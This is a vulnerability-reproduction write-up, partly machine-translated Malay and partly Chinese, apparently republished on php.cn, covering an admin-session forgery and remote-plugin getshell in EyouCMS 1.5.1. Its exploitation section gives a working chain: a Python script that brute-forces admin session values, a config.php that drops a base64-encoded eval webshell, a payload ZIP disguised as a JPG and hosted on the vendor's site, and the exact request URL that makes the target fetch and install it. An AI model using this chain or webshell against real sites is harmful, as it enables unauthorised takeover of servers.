Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Cara menghasilkan semula kerentanan getshell bahagian hadapan EyouCMS V1.5.1

Cara menghasilkan semula kerentanan getshell bahagian hadapan EyouCMS V1.5.1

PHPz
PHPzke hadapan
2023-05-20 20:14:403264semak imbas

Pengenalan Kerentanan 0x00

Zanzan Network Technology EyouCMS (EyouCMS) ialah satu set pengurusan kandungan sumber terbuka berdasarkan ThinkPHP of China Zanzan Network Technology Company System ( CMS).

Eyoucms v1.5.1 dan versi terdahulu mempunyai log masuk latar belakang pengguna yang sewenang-wenangnya dan kerentanan kemasukan fail Kerentanan ini membolehkan penyerang menetapkan sesi pentadbir di latar depan dengan memanggil API dan fail muat turun pemalam jauh latar belakang. mengandungi getshell.

0x01 Versi terjejas

EyouCMS <= 1.5.1

0x02 Persediaan persekitaran

Muat turun
Rasmi laman web Muat turun versi V1.5.1
Pautan muat turun: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

Pemasangan
Pengaturan mudah melalui persekitaran bersepadu phpstudy
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

Analisis Kerentanan 0x03

Sesi pentadbir bahagian hadapan ditetapkan dalam application/api/controller/Ajax.php:215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

fungsi boleh dipanggil sesuka hati oleh kaunter penerimaan tetamu Selain itu,

$name

pembolehubah dalam parameter formal juga dihantar melalui http. Ikuti fungsi token, seperti yang ditunjukkan dalam rajah di bawah.
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

Terdapat operasi untuk menetapkan sesi dalam serlahan Nama boleh dikawal dan nilainya ialah nilai cap waktu permintaan md5. Tak terkawal.
Anda boleh cuba membina sesi untuk pentadbir latar belakang melalui operasi tetapan sesi ini. Kemudian kami menyusun logik log masuk pentadbir latar belakang. Dalam application/admin/controller/Base.php:54如何进行EyouCMS V1.5.1 前台getshell漏洞复现

terdapat dua sesi yang terlibat, satu admin_login_expire dan satu admin_id

if (session(&#39;?admin_id&#39;) && getTime() - intval($admin_login_expire) < $web_login_expiretime)

admin_login_expire

( Ini sesi akan melakukan pengesahan penolakan, yang perlu memenuhi syarat tertentu)

admin_id

(Sesi ini sudah cukup, dan nilainya tidak akan disahkan)
Selepas menetapkan kedua-dua Selepas ini satu sesi, kami terus melihat bahawa terdapat satu lagi fungsi

check_priv

dalam penghakiman syarat if dan semak:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p>(Ia sudah memadai jika kurang daripada atau sama dengan 0)<p>Selepas menyediakan tiga sesi, anda boleh memasuki bahagian belakang, seperti yang ditunjukkan dalam rajah: <br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Muat turun pemalam Backend Remote getshell lulus dalam $url di application/admin/controller/Weapp.php:1235<p><img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>, dan kemudian melakukan penghuraian url dan hos mestilah eyeucms.com. <p>Iaitu, program ini dihadkan untuk memuat turun dan memasang pemalam daripada tapak web rasmi, tetapi pengesahan ini terlalu mudah dan boleh dipintas. <br>Kemudian langkah seterusnya ialah meminta pautan muat turun ini, nyahmampatnya dan sertakan config.php. <br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Pertimbangan standard pemalam yang dibuat kemudian tidak akan berfungsi lagi. <p></p>
<h3>Eksploitasi Kerentanan 0x04<strong></strong>
</h3>Tetapkan sesi pentadbir di meja depan<p>Mula-mula kita boleh mengeluarkan sesi pentadbir selepas berjaya log masuk dan sesi pengguna biasa yang telah belum dilog masuk Sebagai perbandingan <br> Pentadbir: <br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> Pengguna biasa: <p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Panggil fungsi get_token untuk menetapkan sesi bernama admin_login_expire<p><br> <img src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Semak sesi pengguna biasa<p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488422879.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> telah berjaya disediakan. <p>Begitu juga kita boleh menambah admin_id dan admin_info.roke_id. <br><br>Tetapi <strong> rentetan md5 ini jelas tidak memenuhi keperluan dalam analisis kerentanan, jadi sesi sentiasa disegarkan melalui skrip sehingga nilai md5 yang sesuai ditemui </strong></p>
<pre class="brush:php;toolbar:false">while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])

Hasil berjalan:


如何进行EyouCMS V1.5.1 前台getshell漏洞复现

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

Atas ialah kandungan terperinci Cara menghasilkan semula kerentanan getshell bahagian hadapan EyouCMS V1.5.1. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam